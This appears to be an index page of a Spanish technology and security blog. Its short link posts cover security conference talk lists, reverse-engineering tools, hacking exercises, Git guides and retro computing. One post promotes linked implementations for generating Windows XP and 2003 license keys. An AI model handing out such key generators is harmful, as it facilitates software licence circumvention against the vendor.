Si te gusta la informática, vas a adorar Halt and …

Si no has visto la serie Halt and Catch Fire, deja todo lo que estés haciendo y busca la manera de verla, te aseguro que no te arrepentirás.

Parte del argumento principal está basado en un hecho real, la ingeniería inversa realizada por los chicos de Compaq (Cardif en la serie) para clonar la BIOS del IBM PC (en nuestro libro tenemos todo un capítulo dedicado a esta espectacular historia de la informática), hecho que fue la clave para la situación actual del mercado de ordenadores. Sí,sí, ese es el argumento ... ¿qué más necesitas?

Gran colección de recursos enfocado al análisis …

REMath es un repositorio en Github que contiene una gran lista de recursos relacionados con el análisis de código binario o máquina.

Dicha lista es bastante amplia, y contiene desde documentos académicos con lo último en investigaciones en este campo, hasta herramientas bien conocidas. Para que tengas una idea de lo que puedes encontrar en el mismo, os dejo las secciones en las que se divide la lista:

Er docu der finde: Las conexiones de la …

Conversor de códigos de operación a instrucciones …

Hemos visto en otras ocasiones desensambladores y ensambladores online que no permiten tanto escribir nuestro código como el subir un fichero binario y obtener el resultado. En este caso la herramienta de la que os hablo, por ahora, sólo nos permite escribir código en hexadecimal (opcodes - códigos de operación), y ésta la convierte a las instrucciones ensamblador a las que dichos códigos corresponden.

La herramienta se llama CEnigma y usa el framework de desensamblado quizás más moderno, Capstone. Gracias a ello, CEnigma es capaz de convertir nuestra entrada a 8 arquitecturas distintas: Arm, Arm64 (Armv8), Mips, PowerPC, Sparc, SystemZ, XCore & Intel, con distintos modos dependiendo de la arquitectura elegida.

Vídeos de la Hack In Paris 2014

Ya se encuentran disponibles los vídeos de las charlas dadas en la conferencia sobre seguridad informática Hack In Paris 2014.

La lista es la siguiente:

• Breaking through the bottleneck : mobile malware is outbreak spreading like wildfire
• ARM AARCH64 writing exploits for the new arm architecture
• Splinter the rat attack: create your own botnet to exploit the network
• C+11 metaprogramming technics applied to software obduscation
• Digital Energy - BPT
• To sternly look at JavaScript MVC and templating frameworks
• Bitting into the forbidden fruit.Lessons froms trusting JavaScript crypto
• Defeating UEFI/WIN8 secureboot
• KEYNOTE: Around the world in 80 cons!
• Pentesting NoSQL exploitation framework
• Energy fraud and orchestrated blackouts/issues with wireless metering protocols(Wm-Bus)
• Extreme forensics reloaded 2Q/2014
• KEYNOTE: Beyond information ware; hacking the future of security
• Fuzzing reversing and maths
• Plunder,pillage and print

Presentaciones de la SyScan+360 2014

Si te interesaron las charlas de la SyScan+360 de este año 2014, ya las puedes descargar desde su web. No están todas, pero las que están tienen buena pinta (parece que sólo faltan 3).

Esta es la lista de las que están disponibles:

• CloudBots: Harvesting Crypto Coins like a Botnet Farmer
• Hack Your Car and I’ll Drive You Crazy: the Design of Hack-proof CAN-based Automotive System
• Program Analysis and Constraint Solvers 
• Advanced Bootkit Techniques on Android
• Using and Abusing Microsoft’s Fix It Patches
• Browser fuzzing in 2014 - David vs Goliath (a.k.a. learn where to throw your stones)
• Mobile Browsers Security: iOS
• Click and Dagger: Denial and Deception on Android Smartphones
• Breaking Antivirus Software
• F**k you Hacking Team! From Portugal, with Love

Debugger x32/x64 para Windows

x64_dbg es un depurador o debugger para arquitecturas Intel de 32 y 64 bits para sistemas Windows. La interfaz es muy parecida a la del archiconocido OllyDbg, por lo que si estás familiarizado con éste, te resultará muy fácil usar x64_dbg. También provee de varias características que podemos encontrar en IDA Pro, buque insignia en este campo.

En resumidas cuentas, las características que x64_dbg nos ofrece en este momento son:

Er docu der finde: Lo que el ojo no ve

CTF en vivo, protagonista principal: tomcr00se

El domingo pasado geohot, también conocido en los CTFs como tomcr00se, decidió hacer streaming en vivo de él mismo jugando al wargame vortex alojado en overthewire.org. Según geohot, las razones por las que decidió grabarse en directo, es para atraer a más empresas y corporaciones, y así intentar hacer de este tipo de competiciones un “e-sport”. Si quieres ver el vídeo del evento, aquí lo tienes.

Watch live video from tomcr00s3 on Twitch

Er docu der finde: De Aristóteles a Stephen …

Manual del coche para hackers

opengarages.org ha publicado un libro titulado: Car Hacker’s Handbook. Éste trata de como podemos “atacar” a los sistemas de los coches modernos, que cada vez usan más tecnología moderna como: acceso a internet, Wifi, bluetooth, etc.

El libro contempla varios vectores de ataques con los que se podrían comprometer la seguridad de los vehículos. Simplemente echando un vistazo al índice da un poco de escalofrío:

• Intro
• Understanding Attack Surfaces
• Infotainment Systems
• Vehicle Communication Systems
• Engine Control Unit
• CAN Bus Reversing Methodology
• Breaking the Vehicle
• CAN Bus Tools
• Weaponizing CAN Findings
• Attacking TPMS
• Ethernet Attacks
• Attacking Keyfobs and Immobilizers
• FLASHBACK - Hotwiring
• Attacking ECUs and other Embedded Systems
• What does your hacker garage need?

El libro lo puedes comprar en papel o de forma electrónica desde Amazon o Barnes & Noble, pero también lo puedes descargar de forma totalmente gratuita en formato PDF o ePub y tienen una licencia Creative Commons Attribution-Noncommercial-ShareAlike.

PD: en el momento de publicar esta entrada, el sitio web está muy lento posiblemente por el volumen de tráfico que la divulgación del libro por muchos otros medios. Así que paciencia :)

Inyección de sesiones en el framework Play

Play es un framework que facilita el desarrollo rápido de aplicaciones web escritas en Java y/o Scala. Es una “copia” de Ruby on Rails, que tan famoso hizo a Ruby en el desarrollo web.

Play Session Injection es otro de los magníficos tutoriales prácticos creado por los chicos de PentesterLab. El ejercicio se basa en explotar la forma en que Play manejaba las sesiones web. Play, actualmente ya no es vulnerable a este tipo de ataques, al menos, no de la forma en el que es explotado en este ejercicio, pero como siempre, podemos descargarnos una máquina virtual con todo preparado para hacer nuestras pruebas incluyendo una versión vulnerable de Play, así como un PDF que nos sirve de guía.

Más de 300 tutoriales gratuitos sobre programación …

Desde la web gametutorials.com han puesto a disposición del público y de forma totalmente gratuita todos los tutoriales del sitio. Son unos 350 tutoriales orientados a la creación de vídeo juegos.

Dichos tutoriales están organizados en las siguientes categorías:

• OpenGL
• DirectX
• Win32
• C
• C++
• C#
• Java

Estos nos enseñan desde lo más básico, a opciones más avanzadas como el manejo de objetos 3D, etc. Para acceder a todo este material todo lo que tienes que hacer es registrarte en el sitio.

El "Metasploit" para investigadores de malware

El metasploit para analistas o investigadores de malware, es una de las formas en las que Viper se define a sí mismo, de acuerdo con la documentación oficial.

Viper es una framework o marco de trabajo que facilita la organización y análisis binario de malware y exploits. Está orientado al investigador y/o analista de estos. Está escrito en Python y su interfaz en esta versión 1.0 es muy similar a la de metasploit y ofrece la posibilidad de extenderlo a través de plugins.

Er docu der finde: Björk y Attenborough, La …

Generador de número de licencias de Windows XP

Como ya Microsoft terminó de dar soporte a Windows XP y ya [sarcasmo]nadie lo usa[/sarcasmo], para aquellos curiosos que quieran saber como se pueden generar los números de licencia para dicho sistema operativo, aquí puedes encontrar la implementación de un algortimo en C++ capaz de ello. Si lo prefieres en javascript, desde este otro enlace, puedes incluso ejecutarlo y generar las claves desde el propio navegador.

Y si te interesa conocer como se pueden generar dichos números para Windows 2003, visita este enlace.

Domingo por la mañana, Lusine, Panoramic

Spotify

SoundCloud

Referencia rápida al conjunto de instrucciones x86

Aunque Intel provee de toda la documentación del conjunto de instrucciones de procesadores x86, 64 y 32 bits, los documentos pdfs son un poco grandes y quizás no la opción más versátil como fuente de consulta.

HTML es sin duda un formato mucho más flexible y ligero que PDF, por lo que una versión en HTML del conjunto de de instrucciones de los procesadores x86 de Intel, puede ser mucho más conveniente de tener a mano. Aunque hay varias webs que ofrecen este tipo de información (mi web favorita es ref.x86asm.net), exista otra página web que no conocía, dónde podemos consultar dicha documentación de una forma rápida. La información es presentada de una forma muy simple. Toda la lista de las instrucciones disponibles en una página, con un enlace a otra página más específica con toda la documentación referente a dicha instrucción.

Er docu der finde: El proyecto Manhattan

Vídeos de la OWASP AppSecEu 2014

Ya están disponibles los vídeos (aunque no todos) de la conferencia OWASP AppSecEU 2014, celebrada en Cambridge entre el 23 y 26 de junio.

• Hemil Shah - Smart Storage Scanning for Mobile Apps - Attacks and Exploit
• OrKatz - Getting New Actionable Insights by Analyzing Web Application Firewall Triggers
• Jacob West - Keynote - Fighting Next-Generation Adversaries with Shared Threat Intelligence
• Lorenzo Cavallaro - Keynote - Copper Droid On the Reconstruction of Android Malware Behaviors
• Matt Tesauro - Barbican Protect your Secrets at Scale
• Gergely Revay - Security Implications of Cross-Origin Resource Sharing
• Simon Bennetts - OWASP ZAP Advanced Features
• Maty Siman - Warning Ahead Security Stormsare Brewing in Your JavaScript
• Dan Cornell - Hybrid Analysis Mapping Making Security and Development Tools Play Nice Together
• StevenMurdoch - Keynote-Anonymous Communications and Tor History and Future Challenges
• Winston Bond - OWASP Mobile Top Ten 2014 - The New Lack of Binary Protection Category
• Jerry Hoff - Getting a Handle on Mobile Security
• AppSec EU 2014 Chapter Leaders Workshop
• OWASP AppSec Europe 2014 - Frameworks and Theories Track
• OWASP AppSec Europe 2014 - Builder and Breaker Track
• OWASP AppSec Europe 2014 - DevOps Track
• OWASP AppSec Europe 2014 - Security Management & Training Track
• OWASP AppSec Europe 2014 - Malware & Defence Track
• OWASP AppSec Europe 2014 - Mobile Track

OWASP 2014 - Top 10 del Internet of Things

OWASP (Open Web Application Security Project), es bien conocido no sólo por toda la documentación que ofrecen en relación a la seguridad de aplicaciones web, sino también por su famosas listas de Top 10:

• OWASP Top 10
• OWASP Mobile Security Project
• OWASP Top Ten Cheat Sheet
• OWASP Proactive Controls
• OWASP Top 10/Mapping to WHID

OWASP está elaborando una lista nueva llamada: OWASP Internet of Things Top Ten Project. La lista como decía es nueva y por ahora no es una versión final, así que se podrían producir algunos cambios. La lista en sí, presenta los campos más problemáticos en cuestiones de seguridad relacionados con el Internet of Things (IoT):

• I1 Insecure Web Interface
• I2 Insufficient Authentication/Authorization
• I3 Insecure Network Services
• I4 Lack of Transport Encryption
• I5 Privacy Concerns
• I6 Insecure Cloud Interface
• I7 Insecure Mobile Interface
• I8 Insufficient Security Configurability
• I9 Insecure Software/Firmware Updates
• I10 Poor Physical Security

Er docu der finde: Helvética (subtitulado)

Feliz cumpleaños Alan Turing ...

 

Y para honrar a nuestro querido héroe, os remitimos a la visita que hicimos el año pasado a Bletchley Park:

Visita a Bletchley Park, PRIMERA PARTE

Visita a Bletchley Park, SEGUNDA PARTE

9+1 juegos adictivos ... en ASCII

Goblin Hack, uno de los juegos de la lista

Existen muchos buenos juegos en Linux, Windows ó Mac en modo texto que te sorprenderán. De esta lista todos están en Linux y casi todos en Windows. A mi desde luego me encantan, no sólo porque sean adictivos, sino por ese aroma "retro" que me invade cada vez que ejecuto uno de ellos.

Desde luego sólo lo difrutarás si ya tienes una edad y te has criado desde pequeño rodeado de monitores en fósforo verde o televisiones conectadas a ordenadores con teclas de goma. Prueba a enseñarle a tus hijos o a tus sobrinos estos juegos, verás que cara ponen ;)

Er docu der finde: Los auténticos OVNIS

Microhistorias: Urs Hölzle, el hombre que hizo …

He de admitir que no tenía ni idea de quién era Urs Hözle hasta ahora que estoy leyendo el fantástico libro "I'm feeling lucky" de Douglas Edwards.

Para saber la gran importancia de Urs en la creación del actual Google, volvamos a esa habitación Gates 360 de la Universidad de Standford donde Sergei Brin y Larry Page estaban ya desarrollando sus primeros prototipos basados en su famoso algoritmo de búsqueda. Por fin, viendo que funcionaba bastante mejor que otros buscadores de la época, se animaron a montar su propia empresa y así nació Google. El problema era que al principio las búsquedas funcionaban a la perfección pero había un gran problema: la velocidad. Los crawlers y spiders de Google ya estaban viajando por  Internet de aquella época, recopilando y almacenando información sobre las páginas web segundo a segundo. Y esto era un gran problema. Almacenar esta información y sobre todo, procesarla en un tiempo decente para mostrarlo al usuario era una tarea bastante complicada. Además Google ya estaba siendo utilizado por miles de personas debido a la gran eficiencia de su algoritmo, acrecentando su problema de escalabilidad.

Presentaciones de Mobile Security Technologies …

Mobile Security Technologies (MoST) es un conferencia de solamente un día en la que se reúnen y presentan los últimos avances en investigación sobre la seguridad en tecnologías móviles. Ésta tuvo lugar en San Jose, California, el pasado 17 de mayo.

Las presentaciones y trabajos presentados este año son las siguientes:

Data Driven Authentication: On the Effectiveness of User Behaviour Modelling with Mobile Device Sensors [Paper] [Slides] Gunes Kayacik, Mike Just, Lynne Baillie (Glasgow Caledonian University), David Aspinall (University of Edinburgh) and Nicholas Micallef (Glasgow Caledonian University)

Er docu der finde: Apolo XI, la verdadera historia

51 libros gratuitos sobre Python

Pues ya no aprendes Python porque no quieres ;)

Aquí tienes 51 libros gratuitos sobre cómo programar en este lenguaje.

Enlace a los libros

Material de la LLVM europea

La conferencia EuroLLVM 2014 que tuvo lugar en Edinburgo, Escocia el pasado 7-8 de abril ha liberado los vídeos y presentaciones de las charlas que se dieron. EuroLLVM es una conferencia enfocada alrededor de la arquitectura de compiladores.

La lista del material publicado es la siguiente:

Tobias Edler von Koch (University of Edinburgh)	Conference Opening & Welcome	[Slides] [Video]
Chandler Carruth (Google)	Keynote: Passes in LLVM, Part 1	[Slides] [Video]
Marshall Clow (Qualcomm)	Keynote: What's new in C++14, and how you can take advantage of it	[Slides] [Video]
Rafael Ávila de Espíndola (World Wide Studios/Sony Computer Entertainment)	LTO: History and work to be done	[Slides] [Video]
Reinoud Elhorst, Mark Batty, David Chisnall (University of Cambridge)	Efficient code generation for weakly ordered architectures	[Slides] [Report]
Andy Thomason (Goldsmiths)	How to build LLVM in under ten seconds	[Slides] [Web version]
Ulrich Weigand (IBM Linux Technology Center)	A new ABI for little-endian PowerPC64: design and implementation	[Slides] [Video]
JF Bastien (Google)	Portable Native Client. Fast, Secure, Simple: Pick Three.	[Slides] [Notes] [Video]
Marcello Maggioni (Codeplay Software)	Branching in Data-Parallel Languages using Predication with LLVM	[Slides] [Video]
Daniel Jasper (Google)	clang-tidy - Lint-like checks and beyond	[Slides]
Greg Bedwell (SN Systems Ltd/Sony Computer Entertainment)	PlayStation(R)4 CPU Toolchain: Launch Post-mortem	[Slides] [Video]
Andrew MacPherson (Fabric Software Inc.)	Fabric Engine and KL: LLVM for 3D Digital Content Creation	[Slides] [Video]
Frej Drejhammar (Swedish Institute of Computer Science)	BEAMJIT: An LLVM based just-in-time compiler for Erlang	[Slides] [Video]
Tom Spink (University of Edinburgh)	Custom Alias-analysis in an LLVM-backed region-based Dynamic Binary Translator	[Slides] [Video]
Hans Wennborg (Google)	clang-cl: what it is, how it works, and how to use it	[Slides] [Video]

Tutoriales

The Video Master's Guide to Defender, libro PDF …

Ya en su día os hablamos de un fantástico libro para llegar a dominar el clásico Pac-Man, pues ahora os ofrecemos este enlace para que os descarguéis este otro para dominar el mítico Defender.

El libro se llama "The Video Master's Guide to Defender" (80 páginas), donde nos enseñarán gráficos, esquemas y maniobras para lograr las mejores puntuaciones. Cuando lo terminéis de leer, os daréis cuenta que el juego no es tan sencillo como parece a simple vista ...

Domingo por la ¿mañana?, Veronica Falls, Come on …

Spotify

GrooveShark

Veronica Falls

Vídeos de las charlas de la Norwegian Developers …

Las charlas de la NDC (Norwegian Developers Conference) que tuvieron lugar entre el 2 y 6 de junio en Oslo, Noruega de este mismo año, 2014, están disponibles públicamente, y si mis cuentas no me han fallado, son nada más y nada menos que 158 vídeos. La temática principal de esta conferencia es el desarrollo de software. Aquí tenéis la lista completa:

• NDCOslo Trailer
• It’s a Write/Read (Mobile) Web
• Immutability, State and Scale - Functional, Distributed Applications in Azure
• C++14
• Front End Design Patterns: SOLID CSS + JS for Backend Developers
• Hybrid vs Native: Choosing a Mobile Strategy
• Developing in a Decade
• Building End-to-End Web Apps Using TypeScript
• Pharo: Playing with live objects
• Strangling the Legacy out of an Application
• Domain Specific Languages, the functional way
• Go: A Pragmatic Language
• Effective Modern C++
• Build a Better Bootstrap
• Temporal correlation and complex event processing in JavaScript
• Banish Your Inner Critic
• Windows Azure Mobile Services from the ground up
• The Agony of Lean Startup
• CQRS with Erlang
• Azure Web Sites Secrets, Exposed!
• Error Handling in C++
• Write massively-parallel GPU code for the browser with WebGL
• ReactiveUI - Turning MVVM up to 11
• Seven Ineffective Coding Habits of Many Programmers
• Functional Programming the Long Road to Enlightenment: a Historical and Personal Narrative
• What is new: Windows Phone and Windows Store App
• Querying of Event Streams
• OWIN and Katana: What the Func?
• Functional Code Considered Beautiful
• Move, noexcept, and push_back() and how they relate to each other
• Bridging Node.js and .NET Using Edge.js
• People, Process, Tools – The Essence of DevOps
• CPU Caches and Why You care
• Understanding SignalR performance
• Our experience from building and running a SaaS in the cloud
• Async C# 5.0 - Patters For Real World Use
• Web API Authorization & Access Control – done right!
• Scaling Event Processing at all scales and all languages with the Reactive Extensions
• C++ Type Deduction and Why You Care
• Functional Reactive Programming and Bacon
• Railway Oriented Programming -- error handling in functional languages
• Finally! - True Cross-Platform Federation & Single Sign-On with OpenID Connect
• Leading without formal authority
• Patterns for the People
• Builders versus breakers – 10 online attacks we could have easily prevented
• scriptcs deep dive. Extending, customizing and embedding in your applications.
• Game and Simulator Physics for Developers, Gamers and Petrol Heads
• Generic and Generative Programming in C++
• Serialize All The Things with Json.NET
• Better Software--No Matter What: The Most Important Design Guideline
• How C# Saved my Marriage, Enhanced my Career and Made Me an Inch Taller
• The integrations we fear and how we can manage them
• TCP servers in .NET done right
• Managing Asynchronicity
• Single sign-on for mobile native applications
• Javascript Combinators
• Delightful WebGL in Elm
• Beyond NuGet: Front End Package Management with Bower
• Securing a modern JavaScript based single page web application
• Taking Design Patterns to the Next Level
• Snake Bitten: Danger and Misfortune in the Evolution of Programming Languages
• C++ - where are we headed?
• The mess we're in
• The mythical beast called the Internet of Things and how to tame it
• The Art of the Javascript Metaobject Protocol
• Becoming an Outlier: Career Reboot for the Developer Mind
• Docker is the future of shipping our code
• Cloud beyond scaling : realtime webapplications
• An Actor's Life for Me – An introduction to the TPL Dataflow Library and asynchronous programming blocks
• From Knockout to AngularJS
• Full Stack Web Performance
• How to scale apps and cloud services for Play Magnus
• Three Cool Things about D
• The journey from Powershell to Grunt for Build and Deploy
• Zone out, check in, move on
• Delivering Continuously to 10 Million Users
• Quick Tour to Front-End Unit Testing Using Jasmine
• An Introduction to Nancy
• .NET outside of Visual Studio
• The Better Parts
• Pipe dreams: Pipes |> Macros |> Beautiful Code
• The C++ memory model
• Angular TypeScript
• Agile Kaizen
• Wherefore art thou Erlang?
• Privacy for the Internet
• Designing Wonderful .NET APIs
• The Future of ASP.NET Part I
• C# is in my ears and in my eyes
• Node.JS Tools For Front-End Developers
• Brief tour of Clang
• Building Directives for AngularJS
• Agile Metrics - Velocity is NOT the Goal
• Discrete Math You Need to Know
• Ninja vs. Samurai - Let the scripting battle begin
• "It doesn't work like that in enterprise"
• Insecure coding in C and C++
• The Future of ASP.NET Part II
• Free is a Lie
• Why no code reviews?
• Facial Hair & the Road to Faster JavaScript
• From Code Monkey to Boss Man
• IDEs: The State of the Union
• 10 Things I've Learned From Doing OSS
• The Technical Debt Trap
• So you think you can int? (C++)"
• Coding against MongoDB in .NET
• Metamagical programming with expression trees
• F# and Machine Learning: a winning combination
• Some Time Later: What’s the state of HTML5 & hybrid apps?
• Build an extraordinary career by sharing your knowledge
• Getting Agile with Scrum
• Data Modeling Examples in the Real World with MongoDB
• The Future of Extreme Web Browsing
• 1) Write cross-platform apps with F# & Xamarin. 2) ??? 3) Profit!
• Accelerating Windows Store app development by using Prism for the Windows Runtime
• Functional UI programming with React.JS and ClojureScript
• Internet of Things - Controlling the world with Arduino and JavaScript?
• Advanced TDD: The Transformation Priority Premise
• Beautiful Builds
• User Stories for Agile Requirements
• Back to basics: Finalization and disposition in .NET
• Making 3D games with MonoGame
• Lessons Learned - Web Application Testing in .NET
• A lap around the Windows Phone 8.1 development platform
• Architecting large Single Page Applications with Knockout.js
• Agile Estimating
• From SQL to RavenDB: A .NET Team’s Journey
• Transforming your C# code to functional style
• Say Hello to your Google Android Wear Watch
• Hadoop Kickstarter for the Microsoft Platform
• How I hacked my way to Norway
• Porting Quake III to F#: A Journey to Functional Programming
• Building Universal Apps for Windows Phone and Windows 8.1
• .NET Rocks Panel: Why Do You Develop Software?
• The Internet Of Things and everything wireless
• Clean Architecture and Design
• Advanced Topics in Agile Planning
• HTML5 & JavaScript Communication APIs
• Understanding your website through the IE11 F12 tools
• Introducing Roslyn
• RELEASE Scalable Erlang
• Programming Pebble
• TDD in Tatters
• From text to full-text
• Towards an Evolutionary Architecture
• Leading a Self-Organizing Team
• A Heaping Stack of Scripts: Getting the most out of JavaScript Stacktraces.
• Using the Scrum Rules Against your Boss
• Web Audio: Can you hear me now?
• The Future of UX with Kinect for Windows v2
• Windows 8.1 Store Apps – Given to Fly
• A Peek into an Enterprise Development Operation Team
• Typed? Dynamic? Both! Cross-plat, form DSLs in C#
• Core Software Design Principles
• History of Programming: Part 1
• Case study: Making use of functional programming techniques in .NET
• A reality check on the Internet of Things - and how you can get started with your own project

Er docu der finde: Profetas de la ciencia ficcion …

"Hola, mi nombre es Brian y construyo …

Así de directa era la publicación en twitter de Brian Guarraci, un ingeniero de software que en su tiempo libre se dedica a construir clusters de ordenadores. Y el que aparece en la foto es su última creación, inspirado en el nuevo servidor de Apple  y el clásico Cry 1.

En concreto el que aparece en la foto es un conjunto de ordenadores en paralelo Intel NUC. Cada NUC tiene un Intel i3 con 16GB de RAM, 120GB el disco duro SSD y WiFi 802.11ac. Cad NUC ejecuta Ubuntu Server y el sistema tiene 8 placas NUC compartiendo un switch gigabit. Y ojo al dato, es capaz de llegar a una potencia de cálculo de 208 GFLOPs.

Curso online gratuito sobre programación embebida …

Como bien dice el título de esta entrada, Oracle se también se ha subido al carro de la educación online gratuita y está ofreciendo, creo que por segunda vez, un curso sobre programación de dispositivos embebidos usando Java ME Embedded. En el curso, además del material que deberás de aprender, vas haciendo un proyecto a medida que avanzas. El proyecto tendrás que realizarlo sobre un Raspberry Pi.

El curso dura 5 semanas y en cada una de ella tendrás que hacer un pequeño cuestionario. La planificación del mismo es la siguiente:

A Hacker’s Guide to Git

He leído y ojeado varias guías/tutoriales sobre Git, pero ésta, A hackers Guide to Git, me ha gustado más que ninguna otra, por un par de razones: escueta, clara y más basada en entender los conceptos que los comandos.

No sólo explica el uso de los comandos típicos, sino que empieza por explicar, sin entrar en detalles técnicos, la estructura básica de un repositorio .git.

Aunque luego sigue con ejemplos básicos de los comandos más comunes, no se para a explicar en detalle su funcionalidad o sus parámetros, si no más bien, nos explica que ocurre con el repositorio .git en sí, somo se reestructuran los datos. Creo que esto ayuda a entender esta herramienta mucho mejor y evitar ciertos mal entendidos. Como ejemplo trata el caso de la opción rebase, de la que hay bastante revuelo.

Vídeo tutoriales sobre introducción a la …

Aquí tenéis una buena colección de vídeos muy cortos y específicos sobre programación en ensamblador x86 (Windows). Son tutoriales de iniciación muy instructivos. Tratan desde instalación del entorno que necesitas para seguir los ejemplos,  conceptos básicos, pero indispensables en el entorno ensamblador, hasta ejemplos específicos de diferentes instrucciones.

El autor de los vídeos Rasim Muratovic, usa como base para los mismos el libro Assembly Language for x86 Processors.

Así se hablaba de PacMan en los ochenta ... …

Se cumplen 34 años de nuestro querido Pac Man … cómo pasa el tiempo.

Abierto el plazo de envío de ponencias para No cON …

Con motivo de una nueva edición de una de las grandes conferencias sobre seguridad españolas y la más antigua, No cON Name tiene abierto el proceso de Call For Papers (CFP) o envío de propuestas de ponencias.

Las fechas para el evento de este año 2014, son las siguientes:

• Finalización del plazo de entrega de las solicitudes: 15 de julio
• Notificación de aceptación: 20 de julio
• Entrega del material final de la presentación: 15 de septiembre
• Congreso Edición 2014: 31 de octubre y 1 de noviembre
• Concurso Capture The Flag: 30 de octubre
• Publicación de Ponentes: 1 agosto
• Publicación de Calendario: 15 de agosto
• Apertura inscripciones: 1 junio

Podéis encontrar más información en la página del evento.

En cuanto a los ponentes, podéis descargaros este archivo zip con toda la información y plantillas que necesitaréis rellenar para mandar vuestra propuesta.

Er docu der finde: El universo, Armagedón

XSS game, Google nos invita a jugar

XSS game es una web creada por Google en la que nos invitan a jugar. Según Google, las vulnerabilidades XSS o Cross Site Scripting son las más comunes y peligrosas en aplicaciones web.

Google nos ofrece esta plataforma de aprendizaje de forma totalmente gratuita. En estos momentos dispones de 6 niveles. XSS game está orientado más a los desarrolladores que al profesional de la seguridad, sobre todo para concienciar a estos del peligro de este tipo de errores.

Vídeos de la TROOPERS 2014

Ya están disponibles los vídeos de la conferencia de seguridad informática TROOPERS 2014. Ésta se celebró el pasado 17-21 de marzo en Heidelberg, Alemania.

• Keynote - FX
• Georg Bakos - Keynote
• Get Over It: Privacy is Good for Security - Rob Lee
• How to Work towards Pharma Compliance for Cloud Computing - Martijn Jansen
• Psychology of Security - Stefan Schumacher
• Bro: A Flexible Open-Source Platform - Robin Summer
• Granular Trust; making it work - Toby Kohlenberg
• Risks in hosted SAP Environments - Andreas Wiegenstein & Xu Jia
• Injecting evil code in your SAP J2EE systems - Alexander Polyakov & Dimitry Chastuhin
• Compromise-as-a-Service: Our PleAZURE - Matthias Luft & Felix Wilhelm)
• SAP's Network Protocols Revisited - Martin Gallo
• OSMOSIS - Christian Sielaff & Daniel Hauenstein
• Security and SDN -- A perfect fit or oil-and-water? - Ivan Pepelnjak
• Easy Ways To Bypass Anti-Virus Systems - Attila Marosi
• What Happens In Windows 7 Stays In Windows 7 - Marion Marschalek & Joseph Moti
• The Three Billion Dollar App - Vladimir Wolstencroft
• SAP BusinessObjects Attacks - Juan Perez-Etchegoyen & Will Vandevanter
• How I Latch on Me and Protect My Digital Life against Passwords - Chema Alonso
• Anti-forensics on SAP systems - Juan Perez-Etchegoyen & Will Vandevanter
• Modern Smartphone Forensics - Vladimir Katalov
• Making (and Breaking) an 802.15.4 WIDS - Sergey Bratus, Javier Vazquez, Ryan Speers
• Vulnerability Classification in the SaaS Era - Noam Liran
• Medical Device Cyber Security: The First 164 Years - Kevin Fu
• Why IPv6 Security is so hard - Enno Rey
• 20 Ways Past Secure Boot - Job de Haas
• Implementing an USB Host Driver Fuzzer - Daniel Mende
• TROOPERS14 - Closing Remarks - Enno Rey

Un libro gratuito de la NASA sobre cómo …

Su título es "Archaeology, Anthropology and Interstellar Communication" editado por Douglas Vakoch (SETI Director of Interstellar Message Composition). El texto nos prepara para contactar con una posible civilización extraterrestre en 16 capítulos.

Tiene buena pinta, vamos a echarle un vistazo.

Puedes descargarlo desde aquí en PDF y desde aquí en epub/Mobi.

Visto io9.

Er docu der finde: La verdadera historia de El …

Consejos para prepararte para tu próximo CTF

Los CTFs o Capture The Flags, en el contexto de la seguridad informática, son pruebas o retos que ponen a prueba los conocimientos técnicos y no tan técnicos de sus concursantes. Los retos pueden ir desde preguntas de trivial o recolección de información, hasta la explotación de software y/o hardware.

Las pruebas son tan variopintas, que normalmente se juega en equipo, donde cada uno o varios de sus componentes se especializan en categorías concretas, dejando de lado a Geohot, también conocido como tomcr00se, éste juega sólo y si no gana el reto, acaba muy cerca.

Aprende Git desde el navegador

Code School con el patrocinio de Github, ha creado un curso que nos permite practicar y por consiguiente aprender a usar Git.

Todo lo que necesitas es un navegador moderno, un poco de tiempo y algo de ganas. El curso empieza por lo más básico, la creación de un repositorio y poco a poco va avanzando con temas un poco más complejo.

El curso trata de 25 ejercicios básico, entre los cuales tendrás que ejecutar los comandos más comunes con los que uno se tiene que enfrentar en el día a día cuando trabaja con un repositorio Git. Git provee funcionalidades mucha más avanzadas de las que aprenderás con este pequeño curso, pero es una gran iniciativa para los no iniciados.

Microhistorias: "I Love my Kaypro" y "2010: Odisea …

Foto realizada por Cybercaronte en la oficina de Arthur C. Clarke en Colombo, Sri Lanka.

Ya os he contado mi visita a la oficina de Arthur C. Clarke y también os he enseñado una pegatina que tenía en un cristal en las escaleras. En ella se veía la palabra "HAL" que ya todos conocéis, pero debajo había una que decía "I Love my Kaypro". Esta frase me llegó al alma como buen friki de la retroinformática que soy.

"La Fundación", un bar para geeks en Valencia

Este viernes pasamos una tarde estupenda mi colega NOP y Seraelcalifa en un bar santuario de cualquier geek que se precie que está en la ciudad de Valencia. Su nombre es "La Fundación" (creo que lo dice todo).

Nada más entrar te sentirás como en casa al ver su estupenda máquina recreativa con un emulador tipo MAME (por cierto, montado con una XBOX clásica pero que funciona genial), pósters de todo tipo de películas y de Ciencia (en pocos bares podrás ver una foto de Alan Turing), libros de Ciencia Ficción, juegos de mesa, un ajedrez Star Wars y una estupenda TV con el canal SyFy sintonizado, por supuesto y con sus respectivos cómodos sillones  para ver nuestras películas y series favoritas.

Domingo por la mañana, Dark Colour, Be Your Man

Spotify

SoundCloud

Dark Colour

Enlaces directos para actualizar tus credenciales

Son muchos sitios en los que un usuario a día de hoy tiene cuenta y mucho de estos ya no sólo proveen un sistema de autenticación usuario/contraseña, sino también autenticación de dos factores. Y, cada vez vemos más a menudo cómo muchos de estos sitios con comprometidos y por consiguiente requiere que actualicemos nuestras credenciales.

Update Your Passwords es un sitio web que recoge una lista de sitios web populares, con un enlace directo a la página desde la que puedes actualizar tu y usuario/contraseña, y otro para actualizar tus datos de autenticación de dos factores (para aquellos que ofrecen esta funcionalidad).

Er docu der finde: Guerra Climatológica - Proyecto …

Sugerido por Cristian Schmitt.

Visita de CyberHades a la casa de Arthur C. Clarke …

Fotos en Flickr de la visita, haz click para acceder

Queridos amigos y amigas, quiero compartir una experiencia alucinante que me ha ocurrido en un viaje por la increíble y maravillosa Sri Lanka.

Como buen friki de la Ciencia Ficción que soy, tenía planificado (con muy pocas esperanzas por cierto) intentar hacer una visita a la casa de nuestro querido y admirado genio Arthur C. Clarke.

Microhistorias: La primera hoja de cálculo para …

Dan Bricklin (izquierda) y Bob Frankston (derecha)

